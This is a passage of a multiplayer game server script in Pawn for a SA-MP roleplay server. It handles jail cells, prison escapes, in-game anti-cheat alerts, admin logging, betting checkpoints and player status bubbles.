MoveDynamicObject(ZendanInfoEx[cell][ciObjID],ZendanInfoEx[cell][CellCloseX],ZendanInfoEx[cell][CellCloseY],ZendanInfoEx[cell][CellCloseZ],1,ZendanInfoEx[cell][CellCloseRotX],ZendanInfoEx[cell][CellCloseRotY],ZendanInfoEx[cell][CellCloseRotZ]);
format(strlol,100,"Cell: %i\n Use /opencell %i to open this cell.",cell,cell);
UpdateDynamic3DTextLabelText(ZendanInfoEx[cell][ci3D],COLOR_WHITE,strlol);
ZendanInfoEx[cell][ciOpened] = false;
}
allcell = false;
UpdateDynamic3DTextLabelText(OAC3D,COLOR_WHITE,"Jail Control Panel\nUse /openallcells to open all cells");
return 1;
}
function ToggleCells()
{
if(!allcell){return OpenAllCells();}
if(allcell){return CloseAllCells();}
return 0;
}
function HavaKhoriTime()
{
if(CanGoOut==1)return 0;
SetTimer("HavaKhoriEnd", 600000, 0);
OpenAllCells();
ForEachPlayer(i){if(IsAtjail(i)){SCM(i, COLOR_SINAGHERMEZ, "Jail:{FFFFFF} It's time to go to yard. You have 10 minutes.");}}
CanGoOut=1;
return 1;
}
function HavaKhoriEnd()
{
if(CanGoOut==0)return 0;
CloseAllCells();
ForEachPlayer(i){if(IsAtjail(i)&&ImFararing[i]!=1){SCM(i, COLOR_SINAGHERMEZ, "Jail:{FFFFFF} Yard time finished.");ResetPlayerKolang(i);SpawnPlayer(i);GunGereftam[i]=0;}}
CanGoOut=0;
return 1;
}
function PeopleInJail(fac)
{
new count=0;
if(fac==0)// Cop
{
ForEachPlayer(i){if(IsACop(i)&&!IsAtjail(i)){if(ImInPrison[i]==1){count++;}}}
}
if(fac==1)// People
{
ForEachPlayer(i){if(!IsACop(i)&&!IsAtjail(i)){if(ImInPrison[i]==1){count++;}}}
}
if(fac==2)// Jail
{
ForEachPlayer(i){if(!IsACop(i)&&IsAtjail(i)){if(ImInPrison[i]==1){count++;}}}
}
return count;
}
function StopSoundForPlayer(playerid){PlayerPlaySound(playerid, 0, 0.0, 0.0, 0.0);}
function StartAlarmForPlayer(playerid){PlayerPlaySound(playerid, 6001, 0.0, 0.0, 0.0);}
function StartPrisonAlarm()
{
ForEachPlayer(i){if(ImInPrison[i]==1){StartAlarmForPlayer(i);}}
}
function StopPrisonAlarm()
{
ForEachPlayer(i){if(ImInPrison[i]==1){StopSoundForPlayer(i);}}
}
function OpenPrisonGate()
{
MoveDynamicObject(prisonmaingate, -1037.32507, -588.12744, 25.52484, 5);
gateopen11 = 1;
}
function ClosePrisonGate()
{
MoveDynamicObject(prisonmaingate, -1037.32507, -588.12744, 30.62311, 3);
gateopen11 = 0;
}
function BebandGatePrison(){ClosePrisonGate();}
function AmIEscaped(playerid)
{
if(ImFararing[playerid]==1&&Mahal[playerid]!=2&&ImInPrison[playerid]!=1)
{
SCM(playerid, COLOR_SINARANG, "You escaped successfully from prison.");
ImFararing[playerid]=0;
SetPlayerWantedLevel(playerid, 0);
PlayerTextDrawHide(playerid,JailTextDraw[playerid]);
new strrs[144];
format(strrs, sizeof(strrs), "[Dep-Warn]: {0069FF}%s escaped successfully from prison",RPName(playerid));
SendRadioMessage(1, COLOR_BLUE, strrs);
SendRadioMessage(2, COLOR_BLUE, strrs);
SendRadioMessage(3, COLOR_BLUE, strrs);
YekiFararKarde=0;
StopPrisonAlarm();
if(IsInFaction(playerid)) { SetPlayerSkin(playerid,PlayerInfo[playerid][fSkin]); }
else { SetPlayerSkin(playerid,PlayerInfo[playerid][cSkin]); }
}
if(FararTime[playerid]!=0){KillTimer(FararTime[playerid]);FararTime[playerid]=0;}
}
function AmIEscapedEx(playerid)
{
if((ImInPrison[playerid]==1||Mahal[playerid]==2)&&ImFararing[playerid]==1)// Farar nakard
{
StopPrisonAlarm();
ImFararing[playerid]=0;
PlayerInfo[playerid][pJailTime]+=2000;
SaveKonVal(playerid, "pJailTime", PINFO[playerid][pJailTime]);
SCM(playerid, COLOR_LIGHTRED, "You failed to escape from the prison. Your jail time increased.");
SpawnPlayer(playerid);
}
if(FararTimeEx[playerid]!=0){KillTimer(FararTimeEx[playerid]);FararTimeEx[playerid]=0;}
}
forward OnSobeitDetected(playerid);
public OnSobeitDetected(playerid)
{
/*
		new string[120];
		new name[MAX_PLAYER_NAME];
		GetPlayerName(playerid, name, sizeof(name));
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} AntiCheat kicked %s(%i), reason: Have Cheats.", name, playerid);
	    ABroadCast(COLOR_AdminWarn, string, 1);
		KickWithMessage(playerid,COL_SYN,"You have kicked due to have cheats.");
*/
		SCM(playerid, COLOR_LIGHTRED, "You detected for using cheats, admins noticed.");
        new string[120];
        if(!IsPlayerInGame(playerid))
        {
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} Player %s(%d) entered game with cheat.", RPName(playerid), playerid);
		}
		else
		{
		format(string, sizeof(string), "[Admin-Warn]:{ffffff} Player %s(%d) has cheats.", RPName(playerid), playerid);
		}
		ABroadCast(COLOR_AdminWarn, string, 1);
		return 1;
}
/*
public OnPlayerTeleport(playerid, Float:distance)
{
    new string[144];
	if(cheatcode28[playerid] != 1 && anticheat[playerid] != 0 && flymode[playerid] != 1)
    {
    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) tp/abk suspicious D: %0.2f, PL: %0.2f, FPS: %d", PlayerInfo[playerid][pName],playerid,distance,GetPlayerPL(playerid),GetPlayerFPSS(playerid));
	SendAdminMessage(COLOR_AdminWarn, string);
    cheatcode28[playerid] = 1;
    SetTimerEx("cheatcode28timer", 5000, 0, "i", playerid);
	}
	CheatsCount[playerid] ++;
	return 1;
}
*/
function OnVehicleDeathRequest(vehicleid, killerid)
{
    new Float:healthgetter;
    GetVehicleHealth(vehicleid, healthgetter);
    if(healthgetter >= 250.0&&!CA_IsVehicleInWater(vehicleid,healthgetter,healthgetter))
    {
      new sinaprevent[110];
      format(sinaprevent,sizeof(sinaprevent),"[Admin-Warn]: {FFFFFF}%s(%i) SA-MP OnVehDeath Abuse Call, vID: %i. (Prevented)",PlayerInfo[killerid][pName],killerid,vehicleid);
      SendAdminMessage(COLOR_AdminWarn,sinaprevent);
      CallRemoteFunction("OnVehicleDeath", "ii", vehicleid,killerid);
      CarRespawner[vehicleid] = SetTimerEx("CarRespawnerZ", 4000, false, "i", vehicleid);
      return 0;
    }
    return 1;
}
IRPC:136(playerid, BitStream:bs)// 136 = VehiclDesinapreventoyed
{
    new vehicleid;
    BS_ReadUint16(bs, vehicleid);
    if (GetVehicleModel(vehicleid) < 400)
    {
        return 0;
    }
    return OnVehicleDeathRequest(vehicleid, playerid);
}
CA_IsVehicleInWater(vehicleid, &Float:depth, &Float:vehicledepth)
{
  new Float:x, Float:y, Float:z, Float:retx[10], Float:rety[10], Float:retz[10], Float:retdist[10], modelids[10];
  GetVehiclePos(vehicleid, x, y, z);
  new collisions = CA_RayCastMultiLine(x, y, z + 1000.0, x, y, z - 1000.0, retx, rety, retz, retdist, modelids, 10);
  if(collisions)
  {
    for(new i = 0; i < collisions; i++)
    {
      if(modelids[i] == WATER_OBJECT)
      {
        depth = INFINITY;

        for(new j = 0; j < collisions; j++)
        {
          if(retz[j] < depth)
          depth = retz[j];
        }

        depth = retz[i] - depth;
        if(depth < 0.001 && depth > -0.001)
          depth = 100.0;
        vehicledepth = retz[i] - z;

        if(vehicledepth < -2.0)
          return 0;

        return 1;
      }
    }
  }
  return 0;
}
public WriteAdminLog(string[])
{
    new entry[250];
    format(entry, sizeof(entry), "<%s>: %s\n\n",CurrentTime(), string);
    new File:hFile;
    hFile = fopen("logs/adminlog.log", io_append);
    fwrite(hFile, entry);
    fclose(hFile);
}
public WriteTransferLog(string[])
{
    new entry[250];
    format(entry, sizeof(entry), "<%s>: %s\n\n",CurrentTime(), string);
    new File:hFile;
    hFile = fopen("logs/transferlog.log", io_append);
    fwrite(hFile, entry);
    fclose(hFile);
}
public OnInvalidClientJoin(playerid)
{
		InvalidClient[playerid] = true;
		return 1;
}
forward B1T(playerid);
public B1T(playerid)
{
  SendMessage(playerid, COLOR_AdminWarn, "Control suspended.");
  MoveDynamicObject(Balsys1, 277.671112,-1761.864868,185.162277, 20.0);
  OnBallon[playerid] = 0;
 // B1ToRah = 1;
  BallonChand[playerid] = 0;
}
forward B2T(playerid);
public B2T(playerid)
{
  SendMessage(playerid, COLOR_AdminWarn, "Control suspended.");
  MoveDynamicObject(Balsys2, 277.671112,-1761.864868,185.162277, 20.0);
  OnBallon[playerid] = 0;
  BallonChand[playerid] = 0;
//  B2ToRah = 1;
}
stock ObjectToPoint(Float:radi, objectid, Float:x, Float:y, Float:z)
{
	new Float:oldposx, Float:oldposy, Float:oldposz;
	new Float:tempposx, Float:tempposy, Float:tempposz;
	GetDynamicObjectPos(objectid, oldposx, oldposy, oldposz);
	tempposx = (oldposx -x);
	tempposy = (oldposy -y);
	tempposz = (oldposz -z);
	if (((tempposx < radi) && (tempposx > -radi)) && ((tempposy < radi) && (tempposy > -radi)) && ((tempposz < radi) && (tempposz > -radi)))
	{
	   return 1;
	}
	return 0;
}
/*
public OnPlayerTeleport(playerid, Float:distance)
{
	if(TPHack[playerid] == 0 && AirBrk[playerid] == 0) {
	new string[256];
	new name[MAX_PLAYER_NAME];
	GetPlayerName(playerid, name, sizeof(name));
	//format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Server detected a teleport hack on %s(%d), last distance: %0.2fm.",name,playerid,distance);
	//ABroadCast(COLOR_AdminWarn,string,1);
	TPHack[playerid] = 1;
	SetTimerEx("tpfree", 10000, false, "i", playerid);
	}
}

public OnPlayerWeaponHack(playerid, succes, weaponid, ammo)
{
	if(succes)
	{
	   new string[106], name[MAX_PLAYER_NAME];
	   GetPlayerName(playerid, name, sizeof(name));
		if(PINFO[playerid][pAdmin] < 3 && ACKolang[playerid][weaponid] != true) {
	   format(string, sizeof(string), "{FFFFFF}%s has been kicked, reason: weapon hack, weapon hacked: %d.", name, weaponid);
		KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
		AdminWarn(string);
		}
	}
	return true;
}
*/
public OnPlayerAirbreak(playerid)
{
	if(AirBrk[playerid] == 0 && TPHack[playerid] == 0 && ModShopS[playerid] == 0) {

	new string[128];
	new reas[27];
	new name[MAX_PLAYER_NAME];
	GetPlayerName(playerid, name, sizeof(name));
	format(reas, sizeof(reas), "Cheats (AirBreak | TPHack)");
	//if(PINFO[playerid][pAdmin] == 0) return BanPlayer(playerid, PINFO[playerid][pName], 0, reas, 1, 1);
	if(PINFO[playerid][pAdmin] == 0) {
	if(anticheat[playerid] != 0 || flymode[playerid] != 0)
	{
	format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Server detected an airbreak or TP-hack on %s(%d). (kicked)",name,playerid);
	//ABroadCast(COLOR_AdminWarn,string,1);
	KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or lag.");
	}
	return 1;
	}
	if(anticheat[playerid] != 0 || flymode[playerid] != 0)
	{
	format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Server detected an airbreak or TP-hack on %s(%d).",name,playerid);
	//ABroadCast(COLOR_AdminWarn,string,1);
	}

	AirBrk[playerid] = 1;
	SetTimerEx("abfree", 10000, false, "i", playerid);
	}
	return 1;
}

stock IsPlayerInWater2(playerid)
{
new Float:x,Float:y,Float:pz;
GetPlayerPos(playerid,x,y,pz);
if ((IsPlayerInArea(playerid, 2032.1371, 1841.2656, 1703.1653, 1467.1099) && pz <= 9.0484)
|| (IsPlayerInArea(playerid, 2109.0725, 2065.8232, 1962.5355, 10.8547) && pz <= 10.0792)
|| (IsPlayerInArea(playerid, -492.5810, -1424.7122, 2836.8284, 2001.8235) && pz <= 41.06)
|| (IsPlayerInArea(playerid, -2675.1492, -2762.1792, -413.3973, -514.3894) && pz <= 4.24)
|| (IsPlayerInArea(playerid, -453.9256, -825.7167, -1869.9600, -2072.8215) && pz <= 5.72)
|| (IsPlayerInArea(playerid, 1281.0251, 1202.2368, -2346.7451, -2414.4492) && pz <= 9.3145)
|| (IsPlayerInArea(playerid, 2012.6154, 1928.9028, -1178.6207, -1221.4043) && pz <= 18.45)
|| (IsPlayerInArea(playerid, 2326.4858, 2295.7471, -1400.2797, -1431.1266) && pz <= 22.615)
|| (IsPlayerInArea(playerid, 2550.0454, 2513.7588, 1583.3751, 1553.0753) && pz <= 9.4171)
|| (IsPlayerInArea(playerid, 1102.3634, 1087.3705, -663.1653, -682.5446) && pz <= 112.45)
|| (IsPlayerInArea(playerid, 1287.7906, 1270.4369, -801.3882, -810.0527) && pz <= 87.123)
|| (pz < 1.5)
)
{
return 1;
}
return 0;
}
stock IsPlayerInWater3( playerid )
{
	   new Float[ 3 ];

	   GetPlayerPos( playerid, Float[ 0 ], Float[ 1 ], Float[ 2 ] );
	   if(
	   (IsPlayerInArea(playerid, 2032.1371, 1841.2656, 1703.1653, 1467.1099) && Float[ 2 ] <= 9.0484) //lv piratenschiff
	   || (IsPlayerInArea(playerid, 2109.0725, 2065.8232, 1962.5355, 10.8547) && Float[ 2 ] <= 10.0792) //lv visage
	   || (IsPlayerInArea(playerid, -492.5810, -1424.7122, 2836.8284, 2001.8235) && Float[ 2 ] <= 41.06) //lv staucamm
	   || (IsPlayerInArea(playerid, -2675.1492, -2762.1792, -413.3973, -514.3894) && Float[ 2 ] <= 4.24) //sf s??sten kleiner teich
	   || (IsPlayerInArea(playerid, -453.9256, -825.7167, -1869.9600, -2072.8215) && Float[ 2 ] <= 5.72) //sf gammel teich
	   || (IsPlayerInArea(playerid, 1281.0251, 1202.2368, -2346.7451, -2414.4492) && Float[ 2 ] <= 9.3145) //ls neben dem airport
	   || (IsPlayerInArea(playerid, 2012.6154, 1928.9028, -1178.6207, -1221.4043) && Float[ 2 ] <= 18.45) //ls mitte teich
	   || (IsPlayerInArea(playerid, 2326.4858, 2295.7471, -1400.2797, -1431.1266) && Float[ 2 ] <= 22.615) //ls weiter s??tlich
	   || (IsPlayerInArea(playerid, 2550.0454, 2513.7588, 1583.3751, 1553.0753) && Float[ 2 ] <= 9.4171) //lv pool ?stlich
	   || (IsPlayerInArea(playerid, 1102.3634, 1087.3705, -663.1653, -682.5446) && Float[ 2 ] <= 112.45) //ls pool nordwestlich
	   || (IsPlayerInArea(playerid, 1287.7906, 1270.4369, -801.3882, -810.0527) && Float[ 2 ] <= 87.123) //pool bei maddog's haus oben
	   || (Float[ 2 ] < 1.5)
	   )
	   {
			 return ( 1 );
	   }
	   return ( 0 );
}

forward cspray(playerid);
public cspray(playerid) 
{
	new c = PINFO[playerid][pClan];
	new i = Spray[playerid];
	new name[32];
	//DestroyDynamicObject(Spray2[i]);
	format(name, sizeof(name), "{%s}%s \n%s",spInfo[i][sColor],spInfo[i][sName],spInfo[i][sTag])
	//Spray2[i] = CreateDynamicObject(spInfo[i][sObj], spInfo[i][sX], spInfo[i][sY], spInfo[i][sZ],   0.00000, 0.00000, spInfo[i][sRot]);
	//SetDynamicObjectMaterial(Spray2[i], 0, 0, "none", "none", HexToInt("0xRRGGBB00"));
	SetDynamicObjectMaterialText(Spray2[i], 0, name, OBJECT_MATERIAL_SIZE_512x256, "Arial", 50, 2, 0xFFFF8200, 0, OBJECT_MATERIAL_TEXT_ALIGN_CENTER);
	SaveSprays(i);
	Spray[playerid] = 9999;
	OnSpray[playerid] = 0;
	Spraying[i] = 0;

	DarsadPlayer[playerid] = 0;
	DarsadSpray[c][i] = 0;

	GangZoneStopFlashForAll(Sprayst[i]);
	GangZoneHideForAll(Sprayst[i]);
	new stringemun[10],color;
	for(new z = 0;z<Akharish;z++) 
	{
		if(ClantShow[z] == 1) 
		{
			format(stringemun, sizeof(stringemun), "0x%sCC", spInfo[i][sColor]);
			color = HexToInt(stringemun);
			GangZoneShowForPlayer(z,Sprayst[i],color);
		}
	}
}
public OnPlayerEnterDynamicCP(playerid, checkpointid)
{
if(FCNPC_IsValid(playerid)) return 1;
  if(checkpointid==bajje1)
  {
	 cooldownbet[playerid] = 1;
	 if(bajje1por == 0)
	 {
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 SCM(playerid,COLOR_SINARANG,"You reserved section 1. Now you can use /Bet. (It costs you the biz's fee)");
	 SCM(playerid,COLOR_SINARANG,"Tip: Don't leave the red area.");
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 CanBet[playerid] = 1;
	 bajje1por = 1;
	 ManKardam1[playerid] = 1;
	 }
  }
  if(checkpointid==bajje2)
  {
	 cooldownbet[playerid] = 1;
	 if(bajje2por == 0)
	 {
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 SCM(playerid,COLOR_SINARANG,"You reserved section 2. Now you can use /Bet. (It costs you the biz's fee)");
	 SCM(playerid,COLOR_SINARANG,"Tip: Don't leave the red area.");
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 CanBet[playerid] = 1;
	 bajje2por = 1;
	 ManKardam2[playerid] = 1;
	 }
  }
  if(checkpointid==bajje3)
  {
	 cooldownbet[playerid] = 1;
	 if(bajje3por == 0)
	 {
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 SCM(playerid,COLOR_SINARANG,"You reserved section 3. Now you can use /Bet. (It costs you the biz's fee)");
	 SCM(playerid,COLOR_SINARANG,"Tip: Don't leave the red area.");
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 CanBet[playerid] = 1;
	 bajje3por = 1;
	 ManKardam3[playerid] = 1;
	 }
  }
  if(checkpointid==bajje4)
  {
	 cooldownbet[playerid] = 1;
	 if(bajje4por == 0)
	 {
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 SCM(playerid,COLOR_SINARANG,"You reserved section 4. Now you can use /Bet. (It costs you the biz's fee)");
	 SCM(playerid,COLOR_SINARANG,"Tip: Don't leave the red area.");
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 CanBet[playerid] = 1;
	 bajje4por = 1;
	 ManKardam4[playerid] = 1;
	 }
  }
  if(checkpointid==bajje5)
  {
	 cooldownbet[playerid] = 1;
	 if(bajje5por == 0)
	 {
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 SCM(playerid,COLOR_SINARANG,"You reserved section 5. Now you can use /Bet. (It costs you the biz's fee)");
	 SCM(playerid,COLOR_SINARANG,"Tip: Don't leave the red area.");
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 CanBet[playerid] = 1;
	 bajje5por = 1;
	 ManKardam5[playerid] = 1;
	 }
  }
return 1;
}
public OnPlayerLeaveDynamicCP(playerid, checkpointid)
{
if(FCNPC_IsValid(playerid)) return 1;
  if(checkpointid==bajje1)
  {
	 if(ManKardam1[playerid] == 1)
	 {
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 SCM(playerid,COLOR_SINARANG,"You have left the red area. Now people can reserve it.");
	 SCM(playerid,COLOR_SINARANG,"You unreserved section 1. Now you can't use /Bet.");
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 CanBet[playerid] = 0;
	 dialogbet[playerid] = 0;
	 bajje1por = 0;
	 ManKardam1[playerid] = 0;
	 }
  }
  if(checkpointid==bajje2)
  {
	 if(ManKardam2[playerid] == 1)
	 {
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 SCM(playerid,COLOR_SINARANG,"You have left the red area. Now people can reserve it.");
	 SCM(playerid,COLOR_SINARANG,"You unreserved section 2. Now you can't use /Bet.");
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 CanBet[playerid] = 0;
	 dialogbet[playerid] = 0;
	 bajje2por = 0;
	 ManKardam2[playerid] = 0;
	 }
  }
  if(checkpointid==bajje3)
  {
	 if(ManKardam3[playerid] == 1)
	 {
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 SCM(playerid,COLOR_SINARANG,"You have left the red area. Now people can reserve it.");
	 SCM(playerid,COLOR_SINARANG,"You unreserved section 3. Now you can't use /Bet.");
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 CanBet[playerid] = 0;
	 dialogbet[playerid] = 0;
	 bajje3por = 0;
	 ManKardam3[playerid] = 0;
	 }
  }
  if(checkpointid==bajje4)
  {
	 if(ManKardam4[playerid] == 1)
	 {
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 SCM(playerid,COLOR_SINARANG,"You have left the red area. Now people can reserve it.");
	 SCM(playerid,COLOR_SINARANG,"You unreserved section 4. Now you can't use /Bet.");
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 CanBet[playerid] = 0;
	 dialogbet[playerid] = 0;
	 bajje4por = 0;
	 ManKardam4[playerid] = 0;
	 }
  }
  if(checkpointid==bajje5)
  {
	 if(ManKardam5[playerid] == 1)
	 {
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 SCM(playerid,COLOR_SINARANG,"You have left the red area. Now people can reserve it.");
	 SCM(playerid,COLOR_SINARANG,"You unreserved section 5. Now you can't use /Bet.");
	 SendClientMessage(playerid, COLOR_GREEN, "______________________________________________________");
	 CanBet[playerid] = 0;
	 dialogbet[playerid] = 0;
	 bajje5por = 0;
	 ManKardam5[playerid] = 0;
	 }
  }
return 1;
}
public OnPlayerUpdate(playerid)
{
if(FCNPC_IsValid(playerid)) return 1;
if(Desync[playerid])return 0;
if(Snow==true&&GetPlayerInterior(playerid)==0&&Mahal[playerid]==9999)
{
    new Float:Pos[3];
    GetPlayerPos(playerid,Pos[0],Pos[1],Pos[2]);
    SetDynamicObjectPos(SnowObject[playerid],Pos[0],Pos[1],Pos[2]-5);
}
	if(GetPlayerAnimationIndex(playerid) == 157)
    {
        CheatWarn(playerid, 11, 0.0, 0, 0);
        return 1;
    }
	if(hanuzna[playerid] == 1) {
	TogglePlayerControllable(playerid, 0);
	}

	if(mpop[playerid] == 5566) {
	TogglePlayerControllable(playerid, 0);
	}
    if(gettime() > PlayerUpdateTick[playerid])
    {
        static current_weapon, current_ammo;

        PlayerUpdateTick[playerid] = gettime() + 2;

        GetPlayerWeaponData(playerid, 0, current_weapon, current_ammo);

        IsPlayerSynced{playerid} = (current_ammo != PlayerAmmo{playerid});

        SetPlayerAmmo(playerid, current_weapon, !current_ammo);

        PlayerAmmo{playerid} = current_ammo;
    }
	/*
	if(InModShop[playerid] == 1) {
	SelectTextDraw(playerid, 0x00FF00FF); // Allow the player to select textdraws with the mouse cursor
	}*/
	if(OnMashinKharidan[playerid] == 1 && InModShop[playerid] == 0) {
	SetPlayerCameraPos(playerid, -1958.9172, 257.9527, 38.7022);
	SetPlayerCameraLookAt(playerid, -1957.9890, 258.3209, 38.2272);
	}
	if(GodmodeFeature[playerid] == true) {
	SetPlayerKoon(true, playerid, 100000);
	}


/*
if(B1ToRah == 1 && ObjectToPoint(1.0, Balsys1, 277.671112,-1761.864868,185.162277)) {
MoveDynamicObject(Balsys1, 303.965179,-1901.703857,0.574748, 10.0);
}
if(B1ToRah == 1 && ObjectToPoint(1.0, Balsys1, 303.965179,-1901.703857,0.574748)) {
balsys1 = 0;
B1ToRah = 0;
}
if(B2ToRah == 1 && ObjectToPoint(1.0, Balsys2, 277.671112,-1761.864868,185.162277)) {
MoveDynamicObject(Balsys1, 303.965179,-1901.703857,0.574748, 10.0);
}
if(B2ToRah == 1 && ObjectToPoint(1.0, Balsys2, 303.965179,-1901.703857,0.574748)) {
balsys2 = 0;
B2ToRah = 0;
}
*/
	if(GodmodeFeature[playerid] == true) {
	SetPlayerKoon(true, playerid, 100000);
	}

	if(SuckGhofl[playerid] == 1) {
	TogglePlayerControllable(playerid, 0);
	LoopingAnim(playerid,"BLOWJOBZ","BJ_COUCH_LOOP_W",4.1,0,1,1,1,1);
	}
	new Float:Hlth;
	GetPlayerHealth(playerid, Hlth);
	if(Hlth<=100)
	{
	if(GetPlayerWantedLevel(playerid) > 0) {
	new string[512];
	new wanted = GetPlayerWantedLevel(playerid);
	if(wanted >= 6)
	{
	SetPlayerChatBubble(playerid, "Wanted Level 6", COLOR_SINAGHERMEZ, 5.0, 60000);
	}
	if(wanted <= 5)
	{
	format(string, sizeof(string), "Wanted Level %d",wanted);
	SetPlayerChatBubble(playerid, string, COLOR_SINAGHERMEZ, 5.0, 60000);
	}
	}
	else if(GetPlayerWantedLevel(playerid) == 0) {
	new string[512];
	new wanted = GetPlayerWantedLevel(playerid);
	format(string, sizeof(string), "Wanted Level %d",wanted);
	SetPlayerChatBubble(playerid, " ", COLOR_SINAGHERMEZ, 5.0, 1000);
	}
	}
	else if(Hlth>=101)
	{
	new cht[200];
	if(!GodmodeFeature[playerid])
	{
	if(GetPlayerWantedLevel(playerid) > 0) {
	new wanted = GetPlayerWantedLevel(playerid);
	if(wanted >= 6)
	{
	format(cht, sizeof(cht), "Wanted Level 6\n{00FF00}Extra HP: {FF0000}%0.2f", (Hlth-100.0));
	SetPlayerChatBubble(playerid, cht, COLOR_SINAGHERMEZ, 5.0, 60000);
	}
	if(wanted <= 5)
	{
	format(cht, sizeof(cht), "Wanted Level %d\n{00FF00}Extra HP: {FF0000}%0.2f",wanted, (Hlth-100.0));
	SetPlayerChatBubble(playerid, cht, COLOR_SINAGHERMEZ, 5.0, 60000);
	}
	}
	else if(GetPlayerWantedLevel(playerid) == 0) {
	format(cht, sizeof(cht), "Extra HP: {FF0000}%0.2f",(Hlth-100.0));
	SetPlayerChatBubble(playerid, cht, COLOR_SINASABZ, 5.0, 1000);
	}
	}
	}
	else
	{
	new cht[200];
	if(GetPlayerWantedLevel(playerid) > 0) {
	new wanted = GetPlayerWantedLevel(playerid);
	if(wanted >= 6)
	{
	SetPlayerChatBubble(playerid, "Wanted Level 6\n{00FF00}Extra HP: {FF0000}999999.9", COLOR_SINAGHERMEZ, 5.0, 60000);
	}
	if(wanted <= 5)
	{
	format(cht, sizeof(cht), "Wanted Level %d\n{00FF00}Extra HP: {FF0000}999999.9",wanted);
	SetPlayerChatBubble(playerid, cht, COLOR_SINAGHERMEZ, 5.0, 60000);
	}
	}
	else if(GetPlayerWantedLevel(playerid) == 0) {
	SetPlayerChatBubble(playerid, "Extra HP: {FF0000}999999.9", COLOR_SINASABZ, 5.0, 1000);
	}
	}

	
	// By Sina || /SAR e admina ke age kasi bi mahal bood javab bedan
		 for(new c=0;c<MAX_PLAYERS;c++)
		 {
			for(new n=0;n<MAX_PLAYERS;n++)
			{
			if(IsPlayerConnected(n) && IsPlayerConnected(c))
			{
			  if(PINFO[n][pAdmin] >= 1 && PINFO[c][pAdmin] < 1)
			  {
					if(IsPlayerConnected(c) && Reported[c] == INVALID_PLAYER_ID-1)
					{
						if(ASAR[n] == 1 && Reported[c] != n && Helpme[c] != n && IsPlayerConnected(c) && AFK[n] != 1)
						{
						  if(AnsweringReport[n] == 0 && AnsweringHelpme[n] == 0)
						  {
						  	if(IsOnReport[c] != 0)
			                {
							 new strv[50];
							 format(strv,sizeof(strv),"/ar %i",c);
							 OnPlayerCommandText(n,strv);
							 break;
						  }
							 }
						}
						}
						}
					}
					break;
			  }
			  break;
		   }
		   
		   // By Sina || /SAR e helpera ke age kasi bi mahal bood javab bedan
		 for(new c=0;c<MAX_PLAYERS;c++)
		 {
			for(new n=0;n<MAX_PLAYERS;n++)
			{
			if(IsPlayerConnected(n) && IsPlayerConnected(c))
			{
			if((PINFO[n][pHelper] >= 1 || PINFO[n][pAdmin] >= 1) && PINFO[c][pAdmin] < 1 && PINFO[c][pHelper] < 1)
			{
					if(IsPlayerConnected(c) && Helpme[c] == INVALID_PLAYER_ID-1)
					{
						if(HSAR[n] == 1)
						{
								if(Reported[c] != n && Helpme[c] != n && IsPlayerConnected(c) && AFK[n] != 1)
								{
								if(AnsweringReport[n] == 0 && AnsweringHelpme[n] == 0)
								{
								if(IsOnHelpme[c] != 0)
								{
									new strv[50];
							 format(strv,sizeof(strv),"/ah %i",c);
							 OnPlayerCommandText(n,strv);
							 break;
							 }
							 }
								}
						}
						else
						{
							 if(ASAR[n] == 1)
							 {
									   if(Reported[c] != n && Helpme[c] != n && IsPlayerConnected(c) && PINFO[n][pHelper] >= 1 && AFK[n] != 1)
									   {
									   if(AnsweringReport[n] == 0 && AnsweringHelpme[n] == 0)
									   {
									   if(IsOnHelpme[c] != 0)
									   {
									new strv[50];
							 format(strv,sizeof(strv),"/ah %i",c);
							 OnPlayerCommandText(n,strv);
							 break;
							 }
							 }
									   }
									}
						}
						}
						}
						
					}
					break;
			   }
			   break;
		   }
			/*

	if(PINFO[playerid][pRelog] == 1)
	{
				for( new u; u < MAX_PLAYERS; u++ )
				{
				new xName[128];
				GetPlayerName(u, xName, sizeof(xName));
				strcpy(NameB[u],xName,128);
				strcpy(NameA[u],PINFO[u][pName],128);
				}
				for( new k; k < MAX_PLAYERS; k++ )
				{
				strcpy(PINFO[k][pName],NameA[k],128);
				SetPlayerName(k, NameB[k]);
				SetTimerEx("relogorg", 20, 0, "d", playerid);
				}
		   
	}
	*/
	// Admins online
	/*
			 if(staffhesab == 0)
			 {
				for(new h = 0; h < Akharish; h++)
				{
					if(IsPlayerConnected(h))
					{
						if(PlayerInfo[h][pAdmin] == 1)
						{
							adminc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pAdmin] == 2)
						{
							adminc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pAdmin] == 3)
						{
							adminc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pAdmin] == 4)
						{
							adminc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pAdmin] == 5)
						{
							adminc++;
							staffhesab = 1;
						}
						if(PlayerInfo[h][pAdmin] == 6)
